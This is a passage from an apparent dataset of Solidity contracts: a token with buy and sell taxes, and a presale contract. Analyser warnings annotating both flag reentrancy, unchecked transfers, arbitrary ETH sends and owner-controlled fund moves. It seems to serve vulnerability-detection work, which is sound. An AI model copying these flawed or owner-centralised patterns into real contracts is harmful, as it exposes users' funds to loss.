amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract APT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 25942dc): APT._taxWallet should be immutable \n\t// Recommendation for 25942dc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 86411dc): APT._initialBuyTax should be constant \n\t// Recommendation for 86411dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: a04001e): APT._initialSellTax should be constant \n\t// Recommendation for a04001e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b67c00): APT._finalBuyTax should be constant \n\t// Recommendation for 5b67c00: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 351744e): APT._finalSellTax should be constant \n\t// Recommendation for 351744e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 377593d): APT._reduceBuyTaxAt should be constant \n\t// Recommendation for 377593d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a9135d): APT._reduceSellTaxAt should be constant \n\t// Recommendation for 9a9135d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67e8015): APT._preventSwapBefore should be constant \n\t// Recommendation for 67e8015: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"APT\";\n\n string private constant _symbol = unicode\"APT\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70ab96a): APT._taxSwapThreshold should be constant \n\t// Recommendation for 70ab96a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7baf58): APT._maxTaxSwap should be constant \n\t// Recommendation for c7baf58: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b1cf49f): APT.uniswapV2Router should be immutable \n\t// Recommendation for b1cf49f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76f794d): APT.uniswapV2Pair should be immutable \n\t// Recommendation for 76f794d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55fee77): APT.sellsPerBlock should be constant \n\t// Recommendation for 55fee77: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c77fa9): APT.buysFirstBlock should be constant \n\t// Recommendation for 1c77fa9: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bb723c): APT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9bb723c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 60d81cf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 60d81cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c5ffbbf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c5ffbbf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 60d81cf\n\t\t// reentrancy-benign | ID: c5ffbbf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 60d81cf\n\t\t// reentrancy-benign | ID: c5ffbbf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 508d40b): APT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 508d40b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c5ffbbf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 60d81cf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7aad1af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7aad1af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 789a0b9): APT._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 789a0b9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2af718c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2af718c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fc5a87a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fc5a87a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 789a0b9\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 7aad1af\n\t\t\t\t// reentrancy-eth | ID: 2af718c\n\t\t\t\t// reentrancy-eth | ID: fc5a87a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7aad1af\n\t\t\t\t\t// reentrancy-eth | ID: 2af718c\n\t\t\t\t\t// reentrancy-eth | ID: fc5a87a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fc5a87a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fc5a87a\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7aad1af\n\t\t\t\t// reentrancy-eth | ID: 2af718c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7aad1af\n\t\t\t\t\t// reentrancy-eth | ID: 2af718c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2af718c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7aad1af\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2af718c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2af718c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7aad1af\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 60d81cf\n\t\t// reentrancy-events | ID: 7aad1af\n\t\t// reentrancy-benign | ID: c5ffbbf\n\t\t// reentrancy-eth | ID: 2af718c\n\t\t// reentrancy-eth | ID: fc5a87a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: be62cb4): APT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for be62cb4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 60d81cf\n\t\t// reentrancy-events | ID: 7aad1af\n\t\t// reentrancy-eth | ID: 2af718c\n\t\t// reentrancy-eth | ID: fc5a87a\n\t\t// arbitrary-send-eth | ID: be62cb4\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f4dd492): APT.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for f4dd492: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: f4dd492\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 886952c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 886952c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0bd911d): APT.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0bd911d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 775ca29): APT.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 775ca29: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c4317ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c4317ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 886952c\n\t\t// unused-return | ID: 775ca29\n\t\t// reentrancy-eth | ID: c4317ee\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 886952c\n\t\t// unused-return | ID: 0bd911d\n\t\t// reentrancy-eth | ID: c4317ee\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 886952c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c4317ee\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 886952c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10258.sol",
"size_bytes": 23010,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bae60): MediCoin_Presale.updateClaimStatus(uint256,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 92bae60: Rename the local variables that shadow another component.\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface Aggregator {\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract MediCoin_Presale is ReentrancyGuard, Ownable {\n IERC20Metadata public USDTInterface;\n\n IERC20Metadata public USDCInterface;\n\n Aggregator internal aggregatorInterface;\n\n address public SaleToken;\n\n address public fundReceiver;\n\n struct PresaleData {\n uint256 startTime;\n uint256 endTime;\n uint256 price;\n uint256 nextStagePrice;\n uint256 Sold;\n uint256 tokensToSell;\n uint256 usdHardcap;\n uint256 amountRaised;\n bool Active;\n bool isEnableClaim;\n }\n\n struct VestingData {\n uint256 vestingStartTime;\n uint256 initialClaimPercent;\n uint256 vestingTime;\n uint256 vestingPercentage;\n uint256 totalClaimCycles;\n }\n\n struct UserData {\n uint256 investedAmount;\n uint256 claimAt;\n uint256 claimAbleAmount;\n uint256 claimedVestingAmount;\n uint256 claimedAmount;\n uint256 claimCount;\n uint256 activePercentAmount;\n }\n\n mapping(uint256 => bool) public paused;\n\n mapping(uint256 => PresaleData) public presale;\n\n mapping(uint256 => VestingData) public vesting;\n\n mapping(address => mapping(uint256 => UserData)) public userClaimData;\n\n mapping(address => bool) public isBlackList;\n\n mapping(address => bool) public isExist;\n\n uint256 public presaleId;\n\n uint256 public uniqueBuyers;\n\n uint256 public overalllRaised;\n\n uint256 public MinTokenTobuy;\n\n uint256 public currentSale;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 171b0c2): MediCoin_Presale.USDT_MULTIPLIER should be immutable \n\t// Recommendation for 171b0c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public USDT_MULTIPLIER;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b732f1): MediCoin_Presale.ETH_MULTIPLIER should be immutable \n\t// Recommendation for 5b732f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public ETH_MULTIPLIER;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51e991e): MediCoin_Presale.initialClaimPercent should be constant \n\t// Recommendation for 51e991e: Add the 'constant' attribute to state variables that never change.\n uint256 initialClaimPercent;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9353c25): MediCoin_Presale.vestingTime should be constant \n\t// Recommendation for 9353c25: Add the 'constant' attribute to state variables that never change.\n uint256 vestingTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: e83a12f): MediCoin_Presale.vestingPercentage should be constant \n\t// Recommendation for e83a12f: Add the 'constant' attribute to state variables that never change.\n uint256 vestingPercentage;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1542aa2): MediCoin_Presale.totalClaimCycles should be constant \n\t// Recommendation for 1542aa2: Add the 'constant' attribute to state variables that never change.\n uint256 totalClaimCycles;\n\n event PresaleCreated(\n uint256 indexed id,\n uint256 totalTokens,\n uint256 startTime,\n uint256 endTime\n );\n\n event TokensBought(\n address indexed user,\n uint256 indexed id,\n address indexed purchaseToken,\n uint256 tokensBought,\n uint256 amountPaid,\n uint256 timestamp\n );\n\n event TokensClaimed(\n address indexed user,\n uint256 indexed id,\n uint256 amount,\n uint256 timestamp\n );\n\n event PresaleTokenAddressUpdated(\n address indexed prevValue,\n address indexed newValue,\n uint256 timestamp\n );\n\n event PresalePaused(uint256 indexed id, uint256 timestamp);\n\n event PresaleUnpaused(uint256 indexed id, uint256 timestamp);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f0fac8e): MediCoin_Presale.constructor(address,address,address,address)._SaleToken lacks a zerocheck on \t SaleToken = _SaleToken\n\t// Recommendation for f0fac8e: Check that the address is not zero.\n constructor(\n address _oracle,\n address _usdt,\n address _usdc,\n address _SaleToken\n ) {\n aggregatorInterface = Aggregator(_oracle);\n\n\t\t// missing-zero-check | ID: f0fac8e\n SaleToken = _SaleToken;\n\n MinTokenTobuy = 100e9;\n\n USDTInterface = IERC20Metadata(_usdt);\n\n USDCInterface = IERC20Metadata(_usdc);\n\n ETH_MULTIPLIER = (10 ** 18);\n\n USDT_MULTIPLIER = (10 ** 6);\n\n fundReceiver = msg.sender;\n }\n\n function createPresale(\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _usdHardcap\n ) external onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n presaleId++;\n\n presale[presaleId] = PresaleData(\n 0,\n 0,\n _price,\n _nextStagePrice,\n 0,\n _tokensToSell,\n _usdHardcap,\n 0,\n false,\n false\n );\n\n emit PresaleCreated(presaleId, _tokensToSell, 0, 0);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0c14936): MediCoin_Presale.setCurrentStage(uint256) should emit an event for currentSale = _id \n\t// Recommendation for 0c14936: Emit an event for critical parameter changes.\n function setCurrentStage(uint256 _id) public onlyOwner {\n require(presale[_id].tokensToSell > 0, \"Presale don't exist\");\n\n if (currentSale != 0) {\n presale[currentSale].endTime = block.timestamp;\n\n presale[currentSale].Active = false;\n }\n\n presale[_id].startTime = block.timestamp;\n\n presale[_id].Active = true;\n\n\t\t// events-maths | ID: 0c14936\n currentSale = _id;\n }\n\n function setPresaleVesting(\n uint256[] memory _id,\n uint256[] memory vestingStartTime,\n uint256[] memory _initialClaimPercent,\n uint256[] memory _vestingTime,\n uint256[] memory _vestingPercentage\n ) public onlyOwner {\n for (uint256 i = 0; i < _id.length; i++) {\n vesting[_id[i]] = VestingData(\n vestingStartTime[i],\n _initialClaimPercent[i],\n _vestingTime[i],\n _vestingPercentage[i],\n (100 - _initialClaimPercent[i]) / _vestingPercentage[i]\n );\n }\n }\n\n function updatePresaleVesting(\n uint256 _id,\n uint256 _vestingStartTime,\n uint256 _initialClaimPercent,\n uint256 _vestingTime,\n uint256 _vestingPercentage\n ) public onlyOwner {\n vesting[_id].vestingStartTime = _vestingStartTime;\n\n vesting[_id].initialClaimPercent = _initialClaimPercent;\n\n vesting[_id].vestingTime = _vestingTime;\n\n vesting[_id].vestingPercentage = _vestingPercentage;\n\n vesting[_id].totalClaimCycles =\n (100 - _initialClaimPercent) /\n _vestingPercentage;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bae60): MediCoin_Presale.updateClaimStatus(uint256,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 92bae60: Rename the local variables that shadow another component.\n function updateClaimStatus(uint256 _id, bool _status) public onlyOwner {\n presale[_id].isEnableClaim = _status;\n }\n\n function updatePresale(\n uint256 _id,\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _Hardcap\n ) external onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n require(_Hardcap > 0, \"Zero harcap\");\n\n presale[_id].price = _price;\n\n presale[_id].nextStagePrice = _nextStagePrice;\n\n presale[_id].tokensToSell = _tokensToSell;\n\n presale[_id].usdHardcap = _Hardcap;\n }\n\n function updatePresaleTime(\n uint256 _id,\n uint256 _startTime,\n uint256 _endTime\n ) external onlyOwner {\n presale[_id].startTime = _startTime;\n\n presale[_id].endTime = _endTime;\n }\n\n function changeFundWallet(address _wallet) external onlyOwner {\n require(_wallet != address(0), \"Invalid parameters\");\n\n fundReceiver = _wallet;\n }\n\n function changeUSDTToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDTInterface = IERC20Metadata(_newAddress);\n }\n\n function changeUSDCToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDCInterface = IERC20Metadata(_newAddress);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e407dc1): MediCoin_Presale.WithdrawTokens(address,uint256) ignores return value by IERC20(_token).transfer(fundReceiver,amount)\n\t// Recommendation for e407dc1: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function WithdrawTokens(address _token, uint256 amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: e407dc1\n IERC20(_token).transfer(fundReceiver, amount);\n }\n\n function WithdrawContractFunds(uint256 amount) external onlyOwner {\n payable(fundReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 79b5358): MediCoin_Presale.ChangeTokenToSell(address)._token lacks a zerocheck on \t SaleToken = _token\n\t// Recommendation for 79b5358: Check that the address is not zero.\n function ChangeTokenToSell(address _token) public onlyOwner {\n emit PresaleTokenAddressUpdated(SaleToken, _token, block.timestamp);\n\n\t\t// missing-zero-check | ID: 79b5358\n SaleToken = _token;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 49fb2a3): MediCoin_Presale.ChangeMinTokenToBuy(uint256) should emit an event for MinTokenTobuy = _amount \n\t// Recommendation for 49fb2a3: Emit an event for critical parameter changes.\n function ChangeMinTokenToBuy(uint256 _amount) public onlyOwner {\n\t\t// events-maths | ID: 49fb2a3\n MinTokenTobuy = _amount;\n }\n\n function ChangeOracleAddress(address _oracle) public onlyOwner {\n aggregatorInterface = Aggregator(_oracle);\n }\n\n function pausePresale(uint256 _id) external checkPresaleId(_id) onlyOwner {\n require(!paused[_id], \"Already paused\");\n\n paused[_id] = true;\n\n emit PresalePaused(_id, block.timestamp);\n }\n\n function unPausePresale(\n uint256 _id\n ) external checkPresaleId(_id) onlyOwner {\n require(paused[_id], \"Not paused\");\n\n paused[_id] = false;\n\n emit PresaleUnpaused(_id, block.timestamp);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bd4ee3d): MediCoin_Presale.getLatestPrice() ignores return value by (None,price,None,None,None) = aggregatorInterface.latestRoundData()\n\t// Recommendation for bd4ee3d: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (uint256) {\n\t\t// unused-return | ID: bd4ee3d\n (, int256 price, , , ) = aggregatorInterface.latestRoundData();\n\n price = (price * (10 ** 10));\n\n return uint256(price);\n }\n\n modifier checkPresaleId(uint256 _id) {\n require(_id > 0 && _id == currentSale, \"Invalid presale id\");\n\n _;\n }\n\n modifier checkSaleState(uint256 _id, uint256 amount) {\n require(presale[_id].Active == true, \"preSAle not Active\");\n\n require(\n amount > 0 &&\n amount <= presale[_id].tokensToSell - presale[_id].Sold,\n \"Invalid sale amount\"\n );\n\n _;\n }\n\n function changeClaimAddress(\n address _oldAddress,\n address _newWallet\n ) public onlyOwner {\n for (uint256 i = 1; i < presaleId; i++) {\n require(isExist[_oldAddress], \"User not a participant\");\n\n userClaimData[_newWallet][i].claimAbleAmount = userClaimData[\n _oldAddress\n ][i].claimAbleAmount;\n\n userClaimData[_oldAddress][i].claimAbleAmount = 0;\n }\n\n isExist[_oldAddress] = false;\n\n 